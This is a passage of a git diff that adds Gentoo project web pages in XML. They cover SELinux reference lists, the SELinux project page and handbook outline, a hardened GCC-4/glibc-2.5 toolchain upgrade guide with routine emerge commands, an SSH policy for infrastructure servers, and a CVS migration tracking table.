+</sections>
diff --git a/xml/htdocs/proj/en/hardened/selinux/hb-selinux-references.xml b/xml/htdocs/proj/en/hardened/selinux/hb-selinux-references.xml
new file mode 100644
index 00000000..5bceac4f
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/selinux/hb-selinux-references.xml
@@ -0,0 +1,111 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/hardened/selinux/hb-selinux-references.xml,v 1.5 2010/06/25 16:07:19 pebenito Exp $ -->
+
+<sections>
+<version>1.2</version>
+<date>2006-05-07</date>
+
+
+<section><title>Background</title>
+<subsection><body>
+<ul>
+<li>
+  <uri link="http://www.nsa.gov/research/_files/selinux/papers/inevit-abs.shtml">The Inevitability of Failure:
+  The Flawed Assumption of Security in Modern Computing Environments</uri>
+  explains the need for mandatory access controls.</li>
+<li>
+  <uri link="http://www.nsa.gov/research/_files/selinux/papers/flask-abs.shtml">The Flask Security Architecture:
+  System Support for Diverse Security Policies</uri>
+  explains the security architecture of Flask, the architecture used by SELinux.</li>
+<li>
+  <uri link="http://www.nsa.gov/research/_files/selinux/papers/module-abs.shtml">Implementing SELinux as a Linux Security Module</uri>
+  has specifics about SELinux access checks in the kernel.</li>
+</ul>
+</body>
+</subsection>
+</section>
+
+<section><title>Policy</title>
+<subsection><body>
+<ul>
+<li>
+  <uri link="http://www.nsa.gov/research/_files/selinux/papers/policy2-abs.shtml">Configuring the SELinux Policy</uri></li>
+<li>
+  <uri link="http://oss.tresys.com/projects/refpolicy">SELinux Reference Policy</uri></li>
+<li>
+  SELinux <uri link="http://www.selinuxproject.org/page/ObjectClassesPerms">Object Classes and Permissions</uri>
+  Overview</li>
+</ul>
+</body>
+</subsection>
+</section>
+
+<section><title>Books</title>
+<subsection><body>
+<ul>
+<li>
+  <c>SELinux by Example: Using Security Enhanced Linux</c>, Frank Mayer,
+  Karl MacMillan, and David Caplan, Prentice Hall, 2006; ISBN 0131963694</li>
+<li>
+  <c>SELinux: NSA's Open Source Security Enhanced Linux</c>, Bill McCarty,
+  O'Reilly Media, 2004; ISBN 0596007167</li>
+</ul>
+</body>
+</subsection>
+</section>
+
+<section><title>Meeting Notes</title>
+<subsection><body>
+<ul>
+<li>
+  <uri link="http://www.selinux-symposium.org/2006/summit.php">March 3rd, 2006 SELinux Developer Summit</uri></li>
+<li>
+  <uri link="http://www.selinux-symposium.org/meeting.php">May 6th, 2004 Informal Meeting</uri></li>
+</ul>
+</body>
+</subsection>
+</section>
+
+<section><title>Presentations</title>
+<subsection><title>2006 SELinux Symposium</title><body>
+<ul>
+<li>
+  <uri link="http://www.nsa.gov/selinux/papers/selsymp2006-abs.cfm">SELinux Year in Review</uri>,
+  Stephen Smalley, National Security Agency</li>
+<li>
+  <uri link="http://www.selinux-symposium.org/2006/slides/03-refpolicy-slides.pdf">Reference Policy for Security Enhanced Linux</uri>,
+  Karl MacMillan, Tresys Technology (<uri link="http://www.selinux-symposium.org/2006/papers/05-refpol.pdf">Paper</uri>)</li>
+</ul>
+</body>
+</subsection>
+<subsection><title>2005 SELinux Symposium</title><body>
+<ul>
+<li>
+  <uri link="http://www.nsa.gov/research/selinux/index.shtml">SELinux Overview</uri>,
+	NSA</li>
+<li>
+  <uri link="http://www.selinux-symposium.org/2005/presentations/session3/3-2-macmillan.pdf">Core Policy Management Infrastructure for SELinux</uri>,
+  Karl MacMillan, Tresys Technology</li>
+<li>
+  <uri link="http://www.selinux-symposium.org/2005/presentations/session4/4-1-walsh.pdf">Targeted vs. Strict Policy History and Strategy</uri>,
+  Dan Walsh, Red Hat</li>
+<li>
+  <uri link="http://www.selinux-symposium.org/2005/presentations/session4/4-4-mayer.pdf">Tresys SETools: Tools and Libraries for Policy Analysis and Management</uri>,
+  Frank Mayer, Tresys Technology</li>
+<li>
+  <uri link="http://www.selinux-symposium.org/2005/presentations/session5/5-3-macmillan.pdf">Information Flow Analysis for Type Enforcement Policies</uri>,
+  Karl MacMillan, Tresys Technology</li>
+<li>
+  <uri link="http://www.selinux-symposium.org/2005/presentations/session6/6-2-mayer.pdf">SELinux Policy Analysis Concepts and Techniques</uri>,
+  David Caplan, Frank Mayer, Tresys Technology</li>
+</ul>
+</body>
+</subsection>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/hardened/selinux/index.xml b/xml/htdocs/proj/en/hardened/selinux/index.xml
new file mode 100644
index 00000000..888caf13
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/selinux/index.xml
@@ -0,0 +1,146 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<!--$Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/hardened/selinux/index.xml,v 1.41 2009/07/22 13:38:18 pebenito Exp $-->
+<project>
+
+<name>SELinux</name>
+<longname>SELinux</longname>
+
+<description>
+  SELinux is a system of mandatory access controls.  SELinux can enforce
+  the security policy over all processes and objects in the system.
+</description>
+
+<longdescription><p>
+	This project manages SELinux support in Gentoo.  This includes providing
+	kernels with SELinux support, providing patches to userland utilities, writing
+	strong Gentoo-specific default profiles, and deploying policies from Portage.
+</p></longdescription>
+
+<goals><p>
+  The intention of the project is to make SELinux available to more users, and
+  improving its integration.
+  Policy should be available for common daemons, and files merged in from Portage
+  should have the correct file context.  Currently we only work on servers, but
+  desktops will be supported in the future.
+</p></goals>
+
+<extrachapter position="goals">
+<title>What is SELinux?</title>
+<section><body>
+<p>
+  <uri link="http://www.nsa.gov/selinux">Security-Enhanced Linux</uri> (SELinux)
+  is a system of mandatory access control using type enforcement and role-based
+  access control. It is implemented as a
+  <uri link="http://lsm.immunix.org/">Linux Security Module</uri> (LSM).
+  In addition to the kernel portion, SELinux consists of a library (libselinux)
+  and userland utilities for compiling policy (checkpolicy), and loading policy
+  (policycoreutils), in addition to other user programs.
+</p>
+<p>
+  One common misconception is that SELinux is a complete security solution,
+  however, it is not.  SELinux only provides one piece of a security
+  solution.  It can work well with other Hardened projects, such as PaX,
+  for a more complete solution.
+</p>
+</body></section>
+</extrachapter>
+
+<dev role="lead" description="Policy, x86, AMD64">pebenito</dev>
+
+<extraproject name="Base Policy" lead="pebenito">
+  SELinux policy for the core system, including users, administrators, and
+  daemons in the system profile.
+</extraproject>
+<extraproject name="Daemon Policy">
+  SELinux policies for common daemons.
+</extraproject>
+<extraproject name="x86" lead="pebenito">
+  Support for the x86 architecture.
+</extraproject>
+<extraproject name="AMD64" lead="pebenito">
+  Support for the AMD64 (x86-64) architecture.
+</extraproject>
+
+<plannedproject name="non-x86 Support">
+  Profiles, installation guides, and support for non-x86 architectures.
+</plannedproject>
+<plannedproject name="Desktop">
+  SELinux support on destktops.  This involves enhancements to XFree&#39;s
+  security, and accompanying policy.
+</plannedproject>
+
+<!--
+<resource link="http://selinux.dev.gentoo.org">SELinux Demonstration Machine</resource>
+-->
+<resource link="http://www.gentoo.org/proj/en/hardened/selinux/selinux-handbook.xml">Gentoo SELinux Handbook</resource>
+
+<extrachapter position="resources">
+<title>How Do I Use This?</title>
+<section>
+<body>
+<p>
+  SELinux can be installed on a new system by following the above install guide.
+</p>
+</body>
+</section>
+</extrachapter>
+
+<extrachapter position="bottom">
+<title>I Want to Participate</title>
+<section>
+<body>
+<p>
+  To participate in the SELinux project first join the mailing list at
+  <c>gentoo-hardened@gentoo.org</c>. Then ask if there are plans to support
+  something that you are interested in, propose a new subproject that you are
+  interested in or choose one of the planned subprojects to work on. You may talk
+  to the developers and users in the IRC channel <c>#gentoo-hardened</c> on
+  <c>irc.freenode.net</c> for more information or just to chat about the project
+  or any subprojects. If you don't have the ability to actively help by
+  contributing work we will always need testers to use and audit the SELinux
+  policies. All development, testing, feedback, and productive comments will
+  be greatly appreciated.
+</p>
+</body>
+</section>
+<section><title>Policy Submissions</title>
+<body>
+<p>
+  The critical component of a SELinux system is having a strong policy.  The
+  team does its best to support as many daemons as possible.  However, we cannot
+  create policies for daemons with which we are unfamiliar.  But we are happy
+  to receive policy submissions for consideration.  There are a few requirements:
+</p>
+<ul>
+<li>
+  Make comments (in the policy and/or bug), so we can understand changes
+  from the NSA example policy.
+</li>
+<li>
+  The policy should cover common installations.  Please do not submit policies
+  for odd or nonstandard daemon configurations.
+</li>
+<li>
+  We need to know if the policy is dependent on another policy (for example
+  rpcd is dependent on portmap) other than base-policy.
+</li>
+<li>
+  An ebuild for the policy can also be submitted to help the developers
+  integrate the policy into Portage more quickly, if it is accepted.  
+  See current daemon policies in Portage for example uses of the
+  selinux-policy eclass.
+</li>
+</ul>
+<p>
+  The policy should be submitted on <uri link="http://bugs.gentoo.org/">bugzilla</uri>.
+  Please attach the .te and .fc files separately to the bug, not as a tarball.
+  The bug should be assigned to <c>selinux@gentoo.org</c>.
+</p>
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/hardened/selinux/selinux-handbook.xml b/xml/htdocs/proj/en/hardened/selinux/selinux-handbook.xml
new file mode 100644
index 00000000..0a11e4f8
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/selinux/selinux-handbook.xml
@@ -0,0 +1,151 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE book SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/hardened/selinux/selinux-handbook.xml,v 1.9 2010/06/25 16:07:19 pebenito Exp $ -->
+
+<book link="selinux-handbook.xml">
+<title>Gentoo SELinux Handbook</title>
+
+<author title="Author">
+  <mail link="pebenito@gentoo.org">Chris PeBenito</mail>
+</author>
+
+<author title="Author">
+  Chris Richards
+</author>
+
+<abstract>
+This is the Gentoo SELinux Handbook.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+<license/>
+
+<version>2.00</version>
+<date>2006-10-15</date>
+
+<part>
+<title>Installing Gentoo SELinux</title>
+<abstract>
+In this part you learn how to install Gentoo SELinux on your system.
+</abstract>
+
+<chapter>
+<title>Gentoo SELinux Installation</title>
+<abstract>
+How to do a fresh installation of Gentoo SELinux.
+</abstract>
+  <include href="hb-install.xml"/>
+</chapter>
+</part>
+
+<part>
+<title>Converting to Gentoo SELinux</title>
+<abstract>
+SELinux alternatively can be installed on current Linux installations.  This
+Chapter deals with converting a prexisting Gentoo install to SELinux.
+</abstract>
+<chapter>
+<title>Initial preparations</title>
+<abstract>
+A few preparations must be done before installing SELinux packages.
+</abstract>
+  <include href="hb-selinux-conv-profile.xml"/>
+</chapter>
+<chapter>
+<title>Boot SELinux Kernel</title>
+<abstract>
+Install and boot a SELinux kernel.
+</abstract>
+  <include href="hb-selinux-conv-reboot1.xml"/>
+</chapter>
+<chapter>
+<title>Install SELinux Userland</title>
+<abstract>
+Install SELinux packages and policy, and label filesystems.
+</abstract>
+  <include href="hb-selinux-conv-reboot2.xml"/>
+</chapter>
+</part>
+
+<part>
+<title>Working with SELinux</title>
+<abstract>
+Learn how to work with SELinux
+</abstract>
+<chapter>
+<title>SELinux Overview</title>
+<abstract>
+SELinux has many parts to understand.  This chapter discusses SELinux's
+important concepts and policy.
+</abstract>
+  <include href="hb-selinux-overview.xml"/>
+</chapter>
+<chapter>
+<title>SELinux HOWTO</title>
+<abstract>
+This chapter deals with how to common operations in SELinux.
+</abstract>
+  <include href="hb-selinux-howto.xml"/>
+</chapter>
+<chapter>
+<title>SELinux FAQ</title>
+<abstract>
+This chapter deals with frequently asked questions in SELinux.
+</abstract>
+  <include href="hb-selinux-faq.xml"/>
+</chapter>
+<chapter>
+<title>SELinux Management Infrastructure</title>
+<abstract>
+The chapter deals with managing SELinux using the management infrastructure.
+</abstract>
+  <include href="hb-selinux-libsemanage.xml"/>
+</chapter>
+<chapter>
+<title>Local Policy Modules</title>
+<abstract>
+The chapter deals with adding rules and new modules to your policy.
+</abstract>
+  <include href="hb-selinux-localmod.xml"/>
+</chapter>
+<chapter>
+<title>SELinux Reference Materials</title>
+<abstract>
+This has a list of external references on SELinux.
+</abstract>
+  <include href="hb-selinux-references.xml"/>
+</chapter>
+</part>
+
+<part>
+<title>Troubleshooting SELinux</title>
+<abstract>
+When encountering problems on a machine, SELinux can add extra difficulty
+in fixing the problem.  This chapter walks through fixing common problems.
+</abstract>
+<chapter>
+<title>Policy Not Loaded on Boot</title>
+<abstract>
+This chapter deals with the problem of the policy not being loaded on boot.
+</abstract>
+  <include href="hb-selinux-initpol.xml"/>
+</chapter>
+<chapter>
+<title>Trouble Logging in Locally</title>
+<abstract>
+This chapter deals with problems logging in locally at the console.
+</abstract>
+  <include href="hb-selinux-loglocal.xml"/>
+</chapter>
+<chapter>
+<title>Trouble Logging in Remotely</title>
+<abstract>
+This chapter deals with problems logging in remotely by ssh.
+</abstract>
+  <include href="hb-selinux-logremote.xml"/>
+</chapter>
+</part>
+
+</book>
diff --git a/xml/htdocs/proj/en/hardened/toolchain-upgrade-guide.xml b/xml/htdocs/proj/en/hardened/toolchain-upgrade-guide.xml
new file mode 100644
index 00000000..6fb7fa47
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/toolchain-upgrade-guide.xml
@@ -0,0 +1,275 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/hardened/toolchain-upgrade-guide.xml" lang="en" disclaimer="draft">
+<title>GCC-4/GLIBC-2.5 Hardened Toolchain Overview and Upgrade Guide (EARLY DRAFT)</title>
+
+<author title="Author">
+<mail link="kevquinn@gentoo.org">Kevin F. Quinn</mail>
+</author>
+
+<abstract>
+Guide for upgrading from hardened gcc-3/glibc-2.3/binutils-2.16 to gcc-4/glibc-2.5/binutils-2.17.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0</version>
+<date>2007-02-22</date>
+
+
+<chapter id="Introduction">
+<title>Introduction</title>
+
+<section id="Rationale">
+<title>Rationale for re-working the hardened toolchain.</title>
+<body>
+
+<p>
+The gcc-3/glibc-2.3 toolchain has been working reasonably well for
+<uri link="/proj/en/hardened/">Hardened Gentoo</uri>
+for a few years now.  However while it has gained in maturity, there are a
+number of known issues that have proven unresolvable so far.  Most issues are
+relatively minor and only show up in rare circumstances, however it has become
+increasingly clear that the Stack Smash Protector (SSP) implementation in gcc-3
+that was developed at IBM has some serious issues most especially with code
+constructs of C++ (and also C, where gcc permits some C++ idioms to be used also
+in C).
+</p>
+
+<p>
+In gcc-4, Richard Henderson and others at RedHat
+<uri link="http://gcc.gnu.org/ml/gcc-patches/2005-05/msg01193.html">completely re-implemented</uri>
+the stack smash protector, making a number of improvements in the process.
+Internally to GCC, the implementation is significantly different, although the
+end result and the behaviour of the generated object code is much the same.
+Unfortunately, the re-implementation did not retain binary compatibility with
+the implementation we used previously, so we could not just simply bump our
+patches to support the newer toolchain without doing some work.
+</p>
+
+<p>
+It was also clear that migrating to gcc-4 was not going to be trivial for the
+standard Gentoo product, let alone Hardened Gentoo.  Other changes to gcc (the
+reason it gained a major version number increment) highlighted much code that
+worked on gcc-3 often for the wrong reasons, but failed with gcc-4.  Thus it
+seemed like the ideal opportunity to re-examine the hardened toolchain
+modifications to see if it could be done better and more consistently, since it
+was apparent it would be some time before gcc-4 could be considered practical.
+While the overall concepts for the hardened toolchain are largely the same, a
+significant amount of work has gone into this task leading to hopefully a more
+reliable and maintainable product.  Hopefully it was worth it!
+</p>
+</body>
+</section>
+
+<section id="overview">
+<title>Overview of the gcc-4/glibc-2.5/binutils-2.17 toolchain for Hardened Gentoo</title>
+<body>
+
+<p>
+As mentioned above, the SSP implementation has changed substantially.  Changes
+to the interfaces used by gcc to handle stack overflows, and changes to the
+semantics of the stack-protector compiler switches, have lead to modifications
+of glibc so that it can support both the old and new interfaces, and
+modifications to the way the SSP compiler switches are managed to avoid having
+to modify ebuilds.
+</p>
+
+<p>
+The other major plank of the hardened toolchain with respect to gcc, Position
+Independent Executables (PIEs) has not changed; the support in gcc-4 is no
+different from the support in gcc-3 which has been maintained upstram.  However,
+in order to support the default-PIE some changes have been made which should
+mean that building executables will always use a consistent set of startfiles
+and libraries.  Previously there were occasions where odd results were observed;
+particularly when building "-static".  Static builds now result in a static/PIE
+hybrid executable that should be stable on all architectures.
+</p>
+
+<p>
+The other two elements of the hardened toolchain, RELRO and BIND_NOW, are
+effectively no different than they were before.
+</p>
+
+<p>
+In addition to the support changes necessary for SSP and the PIE cleanup, the
+way compiler "specs" are handled ("specs" are configuration text used by the
+compiler driver to control how the various components; the C compiler, C++
+compiler, linker, assembler etc are invoked) has been reworked.  Previously we
+patched the compiler driver code significantly to inject our altered default
+specs, and did so repeatedly in various combinations to get us the several
+variants of the hardened compiler that are provided.  The new approach still
+patches the compiler driver, but once only and much, much less intrusively,
+adding "call-outs" to "mini-specs" that are by default defined to behave as the
+vanilla compiler does, but can be easily overridden to achieve the hardened
+toolchain behaviour we desire.  The altered specs are managed by appending
+re-definitions of these "mini-specs" to the standard specs, overriding the
+defaults in a much less architecture-dependent way.
+</p>
+
+<p>
+A detailed description of the new toolchain modifications can be found in the
+<uri link="hardened-toolchain.xml">Technical Description of the Gentoo Hardened Toolchain</uri>.
+</p>
+</body>
+</section>
+</chapter>
+
+
+<chapter id="UpgradeGuide">
+<title>Upgrade Guide</title>
+<section id="Dependencies">
+<title>Dependencies</title>
+<body>
+
+<p>
+There are a number of build and run-time dependencies between the various toolchain
+elements.  A brief elaboration of these will make it clear why the recommended
+upgrade path is as it is.
+</p>
+
+<ul>
+<li>Hardened gcc-4 requires glibc-2.5 for ssp support functions</li>
+<li>The new reliable "static PIE" support means hardened glibc-2.5 must be built with hardened gcc-4</li>
+<li>"static PIE" support requires binutils-2.17</li>
+</ul>
+
+<p>
+Of particular note, is the circular dependency between hardened gcc-4 and hardened glibc-2.5.
+Note that these dependencies are only relevant when hardened.
+</p>
+</body>
+</section>
+<section id="Sequence">
+<title>Upgrade Sequence</title>
+<body>
+
+<p>
+The upgrade path is quite simple really.  Upgrade to binutils-2.17 if necessary,
+and ensure it is selected.  Then, using the vanilla compiler, build both glibc
+and gcc non-hardened - this installs all the support necessary to build them
+hardened.  Next, switch to the new compiler -hardened variant, rebuild glibc
+and gcc.  Ensure the hardened compiler is selected (reselect to be sure).
+</p>
+
+<p>
+Switch off distcc and ccache if you're using them, to be sure you don't get mixed
+results from previous compilations (especially if you have tried earlier versions
+of the toolchain upgrade from overlays).
+</p>
+
+<p>
+In detail, the steps are:
+</p>
+
+<p>
+Ensure sys-devel/binutils-2.17 is installed:
+</p>
+
+<pre caption="Check binutils version">
+binutils-config -l
+</pre>
+
+<p>
+If the version selected (highlighted with '*') is 2.17, that's enough.  If 2.17 is
+installed but not selected, select it with <c>binutils-config</c> - otherwise merge it:
+</p>
+
+<pre caption="Merge binutils-2.17">
+emerge --oneshot =sys-devel/binutils-2.17
+</pre>
+
+<p>
+and switch to it if necessary using <c>binutils-config</c>.  Next, switch to the vanilla gcc:
+</p>
+
+<pre caption="Select vanilla gcc">
+gcc-config -l
+gcc-config &lt;current gcc&gt;-vanilla
+source /etc/profile
+</pre>
+
+<p>
+replacing &lt;current gcc&gt; with the current compiler name (or just choose the right number from the list).
+</p>
+
+<p>
+Merge vanilla glibc-2.5 and gcc-4:
+</p>
+
+<pre caption="Merging vanilla toolchain">
+USE="-hardened" emerge --oneshot =sys-libs/glibc-2.5
+USE="-hardened" emerge --oneshot =sys-devel/gcc-4.1.2
+</pre>
+
+<p>
+There are a number of known test failures with both glibc and gcc on a hardened
+system.  The glibc build will stop after the test failures.  Complete the glibc
+build either using ebuild (if you know what you're doing) or do the build again
+with <c>FEATURES="-test"</c>.  The gcc build will carry on regardless, it'll
+install and merge despite the failures.  Once both are installed, switch to
+the hardened gcc:
+</p>
+
+<pre caption="Select hardened gcc">
+gcc-config -l
+gcc-config &lt;new gcc&gt;-hardened
+source /etc/profile
+</pre>
+
+<p>
+replacing &lt;new gcc&gt; with the new compiler name.
+</p>
+
+<p>
+Merge hardened glibc-2.5 and gcc-4:
+</p>
+
+<pre caption="5: Merging hardened toolchain">
+emerge --oneshot =sys-libs/glibc-2.5
+emerge --oneshot =sys-devel/gcc-4.1.2
+</pre>
+
+<p>
+Rebuild world with the new toochain:
+</p>
+
+<pre caption="6: Rebuilding world">
+emerge -e world
+</pre>
+
+<p>
+That last - rebuilding world - does not have to be done immediately; existing
+binaries should continue to run correctly against the upgraded glibc, and
+portage should have left your previous compile in place since it's a major
+revision change.  It is probably a good idea to rebuild binutils with the new
+toolchain (repeat 2.2) at least.  See also the standard
+<uri link="/doc/en/gcc-upgrading.xml">Gentoo GCC Upgrade Guide</uri>
+advice on common GCC upgrade pitfalls.
+</p>
+</body>
+</section>
+</chapter>
+
+
+<chapter id="references">
+<title>References</title>
+
+<section id="gentoorefs">
+<title>Other Gentoo Documentation</title>
+<body>
+
+<ul>
+<li><uri link="/proj/en/hardened/hardened-toolchain.xml">
+Technical Description of the Gentoo Hardened Toolchain</uri></li>
+<li><uri link="/doc/en/gcc-upgrading.xml">Standard Gentoo GCC Upgrade Guide</uri></li>
+</ul>
+
+</body>
+</section>
+
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/index.xml b/xml/htdocs/proj/en/index.xml
new file mode 100644
index 00000000..c05fe051
--- /dev/null
+++ b/xml/htdocs/proj/en/index.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/projects.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE projects [
+<!ELEMENT projects (#PCDATA)>
+]>
+<projects>/proj/en/metastructure/gentoo.xml</projects>
diff --git a/xml/htdocs/proj/en/infrastructure/config-ssh.xml b/xml/htdocs/proj/en/infrastructure/config-ssh.xml
new file mode 100644
index 00000000..764d29e2
--- /dev/null
+++ b/xml/htdocs/proj/en/infrastructure/config-ssh.xml
@@ -0,0 +1,36 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link = "/proj/en/infrastructure/config-ssh.xml">
+<title>SSH Configuration Guide for Gentoo Infrastructure Servers</title>
+<author title="Author">
+    <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+    <mail link="robbat2" />
+</author>
+<abstract>
+This guide documents how OpenSSH should be configured on Gentoo Infrastructure servers. 
+</abstract>
+<version>1.1</version>
+<date>2010/05/16</date>
+
+<chapter>
+<title>Gentoo Infrastructure guidelines for running SSH</title>
+<section>
+<title>General Guidelines</title>
+<body>
+<p>
+SSH is currently the only approved method of obtaining a remote shell on a server.  rsh, telnet and other insecure methods are not allowed.  When configuring SSH, the following guidelines should be adhered to:
+</p>
+<ul>
+	<li>SSHv2 only -- never configure sshd to support version 1 of the SSH protocol.  It has known weaknesses with the way it encrypts data.</li>
+	<li>DSA keys -- DSA keys are preferred over RSA keys</li>
+	<li>No root login -- remote root login is not allowed.  Users should login using their regular ID and then use sudo and/or su</li>
+	<li>No password authentication -- <b>where possible</b> users should be required to use DSA keys to authenticate.</li>
+</ul>
+<note>
+Unless specified above, the default values used in /etc/ssh/sshd_config are acceptable and should not be overridden without prior approval from the Gentoo Infrastructure project manager.
+</note>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/infrastructure/cvs-migration.xml b/xml/htdocs/proj/en/infrastructure/cvs-migration.xml
new file mode 100644
index 00000000..35bcc381
--- /dev/null
+++ b/xml/htdocs/proj/en/infrastructure/cvs-migration.xml
@@ -0,0 +1,230 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/infrastructure/cvs-migration.xml,v 1.17 2006/09/05 01:53:47 antarus Exp $ -->
+
+<guide link="/proj/en/infrastructure/cvs-migration.xml" lang="en" disclaimer="draft">
+<title>CVS Migration Tracking Page</title>
+
+<author title="Author">
+  <mail link="antarus@gentoo.org">Alec Warner</mail>
+</author>
+
+<abstract>
+This page was created to track progress regarding the migration of Gentoo's
+CVS repositories to another versioning control system.  This is being done in
+conjuction with a Google Summer of Code project.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0</version>
+<date>2006-04-30</date>
+<chapter>
+<title>CVS Migration</title>
+<section>
+<title>Reasons for Migration</title>
+<body>
+<ul>
+    <li>CVS does not support branching in a sane manner.</li>
+    <li>CVS commits are not atomic.</li>
+    <li>CVS has a lot of overhead when working with a remote checkout.</li>
+</ul>
+</body>
+</section>
+
+<section>
+<title>Milestones for success</title>
+<body>
+
+<table>
+    <tr>
+        <th>Task</th>
+        <th>Status</th>
+        <th>Due Date</th>
+        <th>Date of Completion</th>
+        <th>Notes</th>
+    </tr>
+    <tr>
+        <ti>Select VCS systems for testing.</ti>
+        <ti>We have selected Mercurial, Subversion, GIT, and our control, CVS.</ti>
+        <ti>May 22nd, 2006</ti>
+        <ti>May 22nd, 2006</ti>
+        <ti>Other VCS systems may be added provided a repository snapshot is provided by June 19th 2006.</ti>
+    </tr>
+    <tr>
+        <ti>Convert gentoo-x86 to each VCS System.</ti>
+        <ti>Completed git, svn, cvs</ti>
+        <ti>June 5th, 2006</ti>
+        <ti>July 14th, 2006</ti>
+        <ti>Completed a migration to svn and git, total time ~30 days!</ti>
+    </tr>
+    <tr>
+        <ti>Design a set of stress tests and analysis tools for Version Control Systems.</ti>
+        <ti>Skipped, see notes</ti>
+        <ti>June 12th, 2006</ti>
+        <ti>Completed June 19th, 2006</ti>
+        <ti>I was hoping to have a design prior to starting, but work commitments 
+forced me to accelerate my project a bit.  This phase was moreso me scratching things 
+out on a napkin ;)</ti>
+    </tr>
+    <tr>
+        <ti>Implement a set of stress tests and analysis tools for Version Control Systems.</ti>
+        <ti>Dropped</ti>
+        <ti>June 19th, 2006</ti>
+        <ti>July 14th</ti>
+        <ti>I basically broke down and used dstat, I got to the point where I had spent 
+about 12 hours on the code for this tool, and then figured why spend more time when a 
+superior tool exists.  As such I decided use the better tool instead of writing a 
+replacement.</ti>
+    </tr>
+    <tr>
+        <ti>Run the stress tests on each VCS system in order to generate a useful data set.</ti>
+        <ti>July 26th, 2006</ti>
+        <ti>August 3rd, 2006</ti>
+        <ti>Completed Auguest 15th</ti>
+        <ti>This was completed around August 3rd</ti>
+    </tr>
+    <tr>
+        <ti>Analyze the data and present this to the Gentoo Community.  Attempt to 
+have the community choose a VCS system.  In the event that the community takes too 
+long in determining their future VCS system; discuss with Lance and pick a VCS to 
+continue the project with.</ti>
+        <ti>Started</ti>
+        <ti>Aug 10th, 2006</ti>
+        <ti>September 4th</ti>
+        <ti>The code was ported to all three systems; isntead of choosing just one.</ti>
+    </tr>
+    <tr>
+        <ti>Compose a Migration Plan to migrate to the new VCS System.</ti>
+        <ti>Started August 21st</ti>
+        <ti>August 30th</ti>
+        <ti>Sept 4th</ti>
+        <ti>GLEP XX is currently in the submittal process.</ti>
+    </tr>
+    <tr>
+        <ti>Update and author developer documentation related to the VCS system.  This will 
+include updating any tools that are focussed on VCS systems such as echangelog, repoman, 
+and the cvs->rsync scripts.</ti>
+        <ti>Start July 14th</ti>
+        <ti>Aug 8th, 2006</ti>
+        <ti>Pending Completion</ti>
+        <ti>Repoman and echangelog been released but need thorough testing.  Please 
+see <uri link="http://dev.gentoo.org/~antarus/projects/soc/releases/">here</uri></ti>
+    </tr>
+    <tr>
+        <ti>Set up test environment and give developers a change to use the new VCS 
+when it is not live.  This is also a chance to make sure all tools work properly.</ti>
+        <ti>Not yet started</ti>
+        <ti>Sept 1st, 2006</ti>
+        <ti>Pending Completion</ti>
+        <ti>GLEP XX must be approved before this can start.</ti>
+    </tr>
+    <tr>
+        <ti>Test in the testing environment for up to one month, ensure sufficient 
+hardware requirements and also ensure that real world data matches data collected 
+during the data mining.</ti>
+        <ti>Not yet started</ti>
+        <ti>Oct 1st, 2006</ti>
+        <ti>Pending Completion</ti>
+        <ti>GLEP XX must be approved before this can start</ti>
+    </tr>
+    <tr>
+        <ti>Set up the live system and migrate to it.</ti>
+        <ti>Not yet started</ti>
+        <ti>Nov 1st, 2006</ti>
+        <ti>Pending Completion</ti>
+        <ti>GLEP XX must be approved before this can start.</ti>
+    </tr>
+</table>
+</body>
+</section>
+<section>
+<title>Version Control Systems under consideration</title>
+<body>
+<table>
+	<tr>
+	    <th>System</th>
+	    <th>Pros</th>
+	    <th>Cons</th>
+	    <th>Migration</th>
+	    <th>Full Checkout</th>
+	    <th>Space Considerations</th>
+	    <th>Bandwidth Usage</th>
+	    <th>Memory Usage</th>
+	    <th>Others?</th>
+	</tr>
+	<tr>
+	    <ti>Subversion</ti>
+	    <ti>Atomic Commits,
+		Merging, Tagging, Branching is a copy operation,
+		Versioned Metadata, Directory Versioning, Annotation</ti>
+	    <ti>Twice the disk space</ti>
+	    <ti>Migration Complete (cvs2svn) (<uri link="http://dev.gentoo.org/~antarus/stats">conversion stats</uri>)</ti>
+	    <ti>17 minutes, 3 seconds.</ti>
